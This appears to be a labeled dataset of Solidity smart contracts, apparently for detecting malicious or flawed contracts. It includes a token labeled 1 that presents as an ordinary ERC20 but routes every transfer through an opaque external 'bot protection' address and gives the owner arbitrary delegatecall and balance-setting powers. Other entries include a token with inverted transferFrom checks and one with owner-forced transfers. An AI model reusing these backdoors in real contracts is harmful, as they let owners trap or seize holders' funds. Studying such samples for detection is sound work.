_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
| 0 | 1,881 |
pragma solidity ^0.4.10;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract FuckYouToken {
address owner = msg.sender;
bool public purchasingAllowed = true;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint256 public totalSupply = 0;
function name() constant returns (string) { return "Fuck You Token"; }
function symbol() constant returns (string) { return "FYT"; }
function decimals() constant returns (uint8) { return 18; }
function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (2 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (3 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function enablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = false;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != owner) { throw; }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() constant returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed);
}
function() payable {
if (!purchasingAllowed) { throw; }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
tokensIssued += totalContribution;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[1] == 0) {
uint8 bonusMultiplier =
((bonusHash[2] & 0x01 != 0) ? 1 : 0) + ((bonusHash[2] & 0x02 != 0) ? 1 : 0) +
((bonusHash[2] & 0x04 != 0) ? 1 : 0) + ((bonusHash[2] & 0x08 != 0) ? 1 : 0) +
((bonusHash[2] & 0x10 != 0) ? 1 : 0) + ((bonusHash[2] & 0x20 != 0) ? 1 : 0) +
((bonusHash[2] & 0x40 != 0) ? 1 : 0) + ((bonusHash[2] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
}
| 0 | 713 |
pragma solidity >=0.4.10;
contract Token {
function balanceOf(address addr) returns(uint);
function transfer(address to, uint amount) returns(bool);
}
contract Receiver {
event StartSale();
event EndSale();
event EtherIn(address from, uint amount);
address public owner;
address public newOwner;
string public notice;
Sale public sale;
function Receiver() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlySale() {
require(msg.sender == address(sale));
_;
}
function live() constant returns(bool) {
return sale.live();
}
function start() onlySale {
StartSale();
}
function end() onlySale {
EndSale();
}
function () payable {
EtherIn(msg.sender, msg.value);
require(sale.call.value(msg.value)());
}
function changeOwner(address next) onlyOwner {
newOwner = next;
}
function acceptOwnership() {
require(msg.sender == newOwner);
owner = msg.sender;
newOwner = 0;
}
function setNotice(string note) onlyOwner {
notice = note;
}
function setSale(address s) onlyOwner {
sale = Sale(s);
}
function withdrawToken(address token) onlyOwner {
Token t = Token(token);
require(t.transfer(msg.sender, t.balanceOf(this)));
}
function refundToken(address token, address sender, uint amount) onlyOwner {
Token t = Token(token);
require(t.transfer(sender, amount));
}
}
contract Sale {
uint public constant SOFTCAP_TIME = 4 hours;
address public owner;
address public newOwner;
string public notice;
uint public start;
uint public end;
uint public cap;
uint public softcap;
bool public live;
Receiver public r0;
Receiver public r1;
Receiver public r2;
function Sale() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function emitBegin() internal {
r0.start();
r1.start();
r2.start();
}
function emitEnd() internal {
r0.end();
r1.end();
r2.end();
}
function () payable {
require(msg.sender == address(r0) || msg.sender == address(r1) || msg.sender == address(r2));
require(block.timestamp >= start);
if (this.balance > softcap && block.timestamp < end && (end - block.timestamp) > SOFTCAP_TIME)
end = block.timestamp + SOFTCAP_TIME;
if (block.timestamp > end || this.balance > cap) {
require(live);
live = false;
emitEnd();
} else if (!live) {
live = true;
emitBegin();
}
}
function init(uint _start, uint _end, uint _cap, uint _softcap) onlyOwner {
start = _start;
end = _end;
cap = _cap;
softcap = _softcap;
}
function setReceivers(address a, address b, address c) onlyOwner {
r0 = Receiver(a);
r1 = Receiver(b);
r2 = Receiver(c);
}
function changeOwner(address next) onlyOwner {
newOwner = next;
}
function acceptOwnership() {
require(msg.sender == newOwner);
owner = msg.sender;
newOwner = 0;
}
function setNotice(string note) onlyOwner {
notice = note;
}
function withdraw() onlyOwner {
msg.sender.transfer(this.balance);
}
function withdrawSome(uint value) onlyOwner {
require(value <= this.balance);
msg.sender.transfer(value);
}
function withdrawToken(address token) onlyOwner {
Token t = Token(token);
require(t.transfer(msg.sender, t.balanceOf(this)));
}
function refundToken(address token, address sender, uint amount) onlyOwner {
Token t = Token(token);
require(t.transfer(sender, amount));
}
}
| 0 | 90 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Token is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 200000000000000000000000000;
string public name = "Oxygen Ecosystem Token";
string public symbol = "OXY";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
}
| 1 | 2,214 |
pragma solidity >= 0.4.24;
interface token {
function transfer(address receiver, uint amount) external;
function balanceOf(address tokenOwner) constant external returns (uint balance);
}
contract againstFaucet {
mapping(address => uint) internal lastdate;
string public name = "AGAINST Faucet";
string public symbol = "AGAINST";
string public comment = "AGAINST Faucet Contract";
token public tokenReward = token(0xF7Be133620a7D944595683cE2B14156591EFe609);
address releaseWallet = address(0x4e0871dC93410305F83aEEB15741B2BDb54C3c5a);
function () payable external {
uint stockSupply = tokenReward.balanceOf(address(this));
require(stockSupply >= 1000000*(10**18),"Faucet Ended");
require(now-lastdate[address(msg.sender)] >= 1 days,"Faucet enable once a day");
lastdate[address(msg.sender)] = now;
tokenReward.transfer(msg.sender, 1000000*(10**18));
if (address(this).balance > 2*(10**15)) {
if (releaseWallet.send(address(this).balance)) {
}
}
}
}
| 0 | 1,205 |
pragma solidity ^0.4.19;
contract Multiownable {
uint256 public howManyOwnersDecide;
address[] public owners;
bytes32[] public allOperations;
address insideOnlyManyOwners;
mapping(address => uint) ownersIndices;
mapping(bytes32 => uint) allOperationsIndicies;
mapping(bytes32 => uint256) public votesMaskByOperation;
mapping(bytes32 => uint256) public votesCountByOperation;
event OwnershipTransferred(address[] previousOwners, address[] newOwners);
function isOwner(address wallet) public constant returns(bool) {
return ownersIndices[wallet] > 0;
}
function ownersCount() public constant returns(uint) {
return owners.length;
}
function allOperationsCount() public constant returns(uint) {
return allOperations.length;
}
modifier onlyAnyOwner {
require(isOwner(msg.sender));
_;
}
modifier onlyManyOwners {
if (insideOnlyManyOwners == msg.sender) {
_;
return;
}
require(isOwner(msg.sender));
uint ownerIndex = ownersIndices[msg.sender] - 1;
bytes32 operation = keccak256(msg.data);
if (votesMaskByOperation[operation] == 0) {
allOperationsIndicies[operation] = allOperations.length;
allOperations.push(operation);
}
require((votesMaskByOperation[operation] & (2 ** ownerIndex)) == 0);
votesMaskByOperation[operation] |= (2 ** ownerIndex);
votesCountByOperation[operation] += 1;
if (votesCountByOperation[operation] == howManyOwnersDecide) {
deleteOperation(operation);
insideOnlyManyOwners = msg.sender;
_;
insideOnlyManyOwners = address(0);
}
}
function Multiownable() public {
owners.push(msg.sender);
ownersIndices[msg.sender] = 1;
howManyOwnersDecide = 1;
}
function deleteOperation(bytes32 operation) internal {
uint index = allOperationsIndicies[operation];
if (allOperations.length > 1) {
allOperations[index] = allOperations[allOperations.length - 1];
allOperationsIndicies[allOperations[index]] = index;
}
allOperations.length--;
delete votesMaskByOperation[operation];
delete votesCountByOperation[operation];
delete allOperationsIndicies[operation];
}
function cancelPending(bytes32 operation) public onlyAnyOwner {
uint ownerIndex = ownersIndices[msg.sender] - 1;
require((votesMaskByOperation[operation] & (2 ** ownerIndex)) != 0);
votesMaskByOperation[operation] &= ~(2 ** ownerIndex);
votesCountByOperation[operation]--;
if (votesCountByOperation[operation] == 0) {
deleteOperation(operation);
}
}
function transferOwnership(address[] newOwners) public {
transferOwnershipWithHowMany(newOwners, newOwners.length);
}
function transferOwnershipWithHowMany(address[] newOwners, uint256 newHowManyOwnersDecide) public onlyManyOwners {
require(newOwners.length > 0);
require(newOwners.length <= 256);
require(newHowManyOwnersDecide > 0);
require(newHowManyOwnersDecide <= newOwners.length);
for (uint i = 0; i < newOwners.length; i++) {
require(newOwners[i] != address(0));
}
OwnershipTransferred(owners, newOwners);
for (i = 0; i < owners.length; i++) {
delete ownersIndices[owners[i]];
}
for (i = 0; i < newOwners.length; i++) {
require(ownersIndices[newOwners[i]] == 0);
ownersIndices[newOwners[i]] = i + 1;
}
owners = newOwners;
howManyOwnersDecide = newHowManyOwnersDecide;
for (i = 0; i < allOperations.length; i++) {
delete votesMaskByOperation[allOperations[i]];
delete votesCountByOperation[allOperations[i]];
delete allOperationsIndicies[allOperations[i]];
}
allOperations.length = 0;
}
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract PELOExtensionInterface is owned {
event ExtensionCalled(bytes32[8] params);
address public ownerContract;
function PELOExtensionInterface(address _ownerContract) public {
ownerContract = _ownerContract;
}
function ChangeOwnerContract(address _ownerContract) onlyOwner public {
ownerContract = _ownerContract;
}
function Operation(uint8 opCode, bytes32[8] params) public returns (bytes32[8] result) {}
}
contract PELOExtension1 is PELOExtensionInterface {
function PELOExtension1(address _ownerContract) PELOExtensionInterface(_ownerContract) public {}
function Operation(uint8 opCode, bytes32[8] params) public returns (bytes32[8] result) {
if(opCode == 1) {
ExtensionCalled(params);
return result;
}
else if(opCode == 2) {
ExtensionCalled(params);
return result;
}
else {
return result;
}
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract PELOCoinToken is Multiownable, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
bool public userInitialized = false;
PELOExtensionInterface public peloExtenstion;
struct PELOMember {
uint32 id;
bytes32 nickname;
address ethAddr;
uint peloAmount;
uint peloBonus;
uint bitFlag;
uint32 expire;
bytes32 extraData1;
bytes32 extraData2;
bytes32 extraData3;
}
uint8 public numMembers;
mapping (address => bool) public frozenAccount;
mapping (address => PELOMember) public PELOMemberMap;
mapping (uint32 => address) public PELOMemberIDMap;
event FrozenFunds(address target, bool frozen);
function PELOCoinToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function GetUserNickName(address _addr) constant public returns(bytes32) {
require(PELOMemberMap[_addr].id > 0);
PELOMember memory data = PELOMemberMap[_addr];
return data.nickname;
}
function GetUserID(address _addr) constant public returns(uint32) {
require(PELOMemberMap[_addr].id > 0);
PELOMember memory data = PELOMemberMap[_addr];
return data.id;
}
function GetUserPELOAmount(address _addr) constant public returns(uint) {
require(PELOMemberMap[_addr].id > 0);
PELOMember memory data = PELOMemberMap[_addr];
return data.peloAmount;
}
function GetUserPELOBonus(address _addr) constant public returns(uint) {
require(PELOMemberMap[_addr].id > 0);
PELOMember memory data = PELOMemberMap[_addr];
return data.peloBonus;
}
function GetUserBitFlag(address _addr) constant public returns(uint) {
require(PELOMemberMap[_addr].id > 0);
PELOMember memory data = PELOMemberMap[_addr];
return data.bitFlag;
}
function TestUserBitFlag(address _addr, uint _flag) constant public returns(bool) {
require(PELOMemberMap[_addr].id > 0);
PELOMember memory data = PELOMemberMap[_addr];
return (data.bitFlag & _flag) == _flag;
}
function GetUserExpire(address _addr) constant public returns(uint32) {
require(PELOMemberMap[_addr].id > 0);
PELOMember memory data = PELOMemberMap[_addr];
return data.expire;
}
function GetUserExtraData1(address _addr) constant public returns(bytes32) {
require(PELOMemberMap[_addr].id > 0);
PELOMember memory data = PELOMemberMap[_addr];
return data.extraData1;
}
function GetUserExtraData2(address _addr) constant public returns(bytes32) {
require(PELOMemberMap[_addr].id > 0);
PELOMember memory data = PELOMemberMap[_addr];
return data.extraData2;
}
function GetUserExtraData3(address _addr) constant public returns(bytes32) {
require(PELOMemberMap[_addr].id > 0);
PELOMember memory data = PELOMemberMap[_addr];
return data.extraData3;
}
function UpdateUserNickName(address _addr, bytes32 _newNickName) onlyManyOwners public {
require(PELOMemberMap[_addr].id > 0);
PELOMember storage data = PELOMemberMap[_addr];
data.nickname = _newNickName;
}
function UpdateUserPELOAmount(address _addr, uint _newValue) onlyManyOwners public {
require(PELOMemberMap[_addr].id > 0);
PELOMember storage data = PELOMemberMap[_addr];
data.peloAmount = _newValue;
}
function UpdateUserPELOBonus(address _addr, uint _newValue) onlyManyOwners public {
require(PELOMemberMap[_addr].id > 0);
PELOMember storage data = PELOMemberMap[_addr];
data.peloBonus = _newValue;
}
function UpdateUserBitFlag(address _addr, uint _newValue) onlyManyOwners public {
require(PELOMemberMap[_addr].id > 0);
PELOMember storage data = PELOMemberMap[_addr];
data.bitFlag = _newValue;
}
function UpdateUserExpire(address _addr, uint32 _newValue) onlyManyOwners public {
require(PELOMemberMap[_addr].id > 0);
PELOMember storage data = PELOMemberMap[_addr];
data.expire = _newValue;
}
function UpdateUserExtraData1(address _addr, bytes32 _newValue) onlyManyOwners public {
require(PELOMemberMap[_addr].id > 0);
PELOMember storage data = PELOMemberMap[_addr];
data.extraData1 = _newValue;
}
function UpdateUserExtraData2(address _addr, bytes32 _newValue) onlyManyOwners public {
require(PELOMemberMap[_addr].id > 0);
PELOMember storage data = PELOMemberMap[_addr];
data.extraData2 = _newValue;
}
function UpdateUserExtraData3(address _addr, bytes32 _newValue) onlyManyOwners public {
require(PELOMemberMap[_addr].id > 0);
PELOMember storage data = PELOMemberMap[_addr];
data.extraData3 = _newValue;
}
function DeleteUserByAddr(address _addr) onlyManyOwners public {
require(PELOMemberMap[_addr].id > 0);
delete PELOMemberIDMap[PELOMemberMap[_addr].id];
delete PELOMemberMap[_addr];
numMembers--;
assert(numMembers >= 0);
}
function DeleteUserByID(uint32 _id) onlyManyOwners public {
require(PELOMemberIDMap[_id] != 0x0);
address addr = PELOMemberIDMap[_id];
require(PELOMemberMap[addr].id > 0);
delete PELOMemberMap[addr];
delete PELOMemberIDMap[_id];
numMembers--;
assert(numMembers >= 0);
}
function initializeUsers() onlyManyOwners public {
if(!userInitialized) {
userInitialized = true;
}
}
function insertNewUser(uint32 _id, bytes32 _nickname, address _ethAddr, uint _peloAmount, uint _peloBonus, uint _bitFlag, uint32 _expire, bool fWithTransfer) onlyManyOwners public {
PELOMember memory data;
require(_id > 0);
require(PELOMemberMap[_ethAddr].id == 0);
require(PELOMemberIDMap[_id] == 0x0);
data.id = _id;
data.nickname = _nickname;
data.ethAddr = _ethAddr;
data.peloAmount = _peloAmount;
data.peloBonus = _peloBonus;
data.bitFlag = _bitFlag;
data.expire = _expire;
PELOMemberMap[_ethAddr] = data;
PELOMemberIDMap[_id] = _ethAddr;
if(fWithTransfer) {
require(_peloAmount > 0);
uint256 amount = (_peloAmount + _peloBonus) * 10 ** uint256(decimals);
_transfer(msg.sender, _ethAddr, amount);
assert(balanceOf[_ethAddr] == amount);
}
numMembers++;
}
function updatePeloExtenstionContract(PELOExtensionInterface _peloExtension) onlyManyOwners public {
peloExtenstion = _peloExtension;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
if(peloExtenstion != PELOExtensionInterface(0x0))
peloExtenstion.Operation(1, [bytes32(_from), bytes32(_to), bytes32(_value), bytes32(balanceOf[_from]), bytes32(balanceOf[_to]), bytes32(0), bytes32(0), bytes32(0)]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
if(peloExtenstion != PELOExtensionInterface(0x0))
peloExtenstion.Operation(2, [bytes32(_from), bytes32(_to), bytes32(_value), bytes32(balanceOf[_from]), bytes32(balanceOf[_to]), bytes32(0), bytes32(0), bytes32(0)]);
}
function mintToken(address target, uint256 mintedAmount) onlyManyOwners public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyManyOwners public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transferFromForcibly(address _from, address _to, uint256 _value) onlyManyOwners public returns (bool success) {
if(allowance[_from][msg.sender] > _value)
allowance[_from][msg.sender] -= _value;
else
allowance[_from][msg.sender] = 0;
assert(allowance[_from][msg.sender] >= 0);
_transfer(_from, _to, _value);
return true;
}
function transferAllFromForcibly(address _from, address _to) onlyManyOwners public returns (bool success) {
uint256 _value = balanceOf[_from];
require (_value >= 0);
return transferFromForcibly(_from, _to, _value);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyManyOwners public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
}
| 1 | 2,923 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ExchangerI {
ERC20Basic public wpr;
function collect(address caller) public;
}
contract InvestorWalletFactoryI {
address public exchanger;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract InvestorWallet is Ownable {
using SafeMath for uint256;
address internal wct2;
InvestorWalletFactoryI internal factory;
uint256 public releaseTime;
function InvestorWallet(address _wct2, address _factory, uint256 _monthsToRelease) {
wct2 = _wct2;
factory = InvestorWalletFactoryI(_factory);
releaseTime = getTime().add(months(_monthsToRelease));
}
function () public onlyOwner {
exchangeTokens();
collectTokens();
}
function exchangeTokens() public onlyOwner {
ExchangerI exchanger = ExchangerI(factory.exchanger());
require(address(exchanger) != 0x0);
exchanger.collect(address(this));
}
event logger(string s);
function collectTokens() public onlyOwner {
require(getTime() > releaseTime);
ExchangerI exchanger = ExchangerI(factory.exchanger());
require(address(exchanger) != 0x0);
ERC20Basic wpr = ERC20Basic(exchanger.wpr());
uint256 balance = wpr.balanceOf(address(this));
require(wpr.transfer(owner, balance));
TokensWithdrawn(owner, balance);
}
function getTime() internal returns (uint256) {
return now;
}
function months(uint256 m) internal returns (uint256) {
return m.mul(30 days);
}
function claimTokens(address _token) public onlyOwner {
ExchangerI exchanger = ExchangerI(factory.exchanger());
require(address(exchanger) != 0x0);
ERC20Basic wpr = ERC20Basic(exchanger.wpr());
require(_token != address(wct2) && _token != address(wpr));
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
ERC20Basic token = ERC20Basic(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
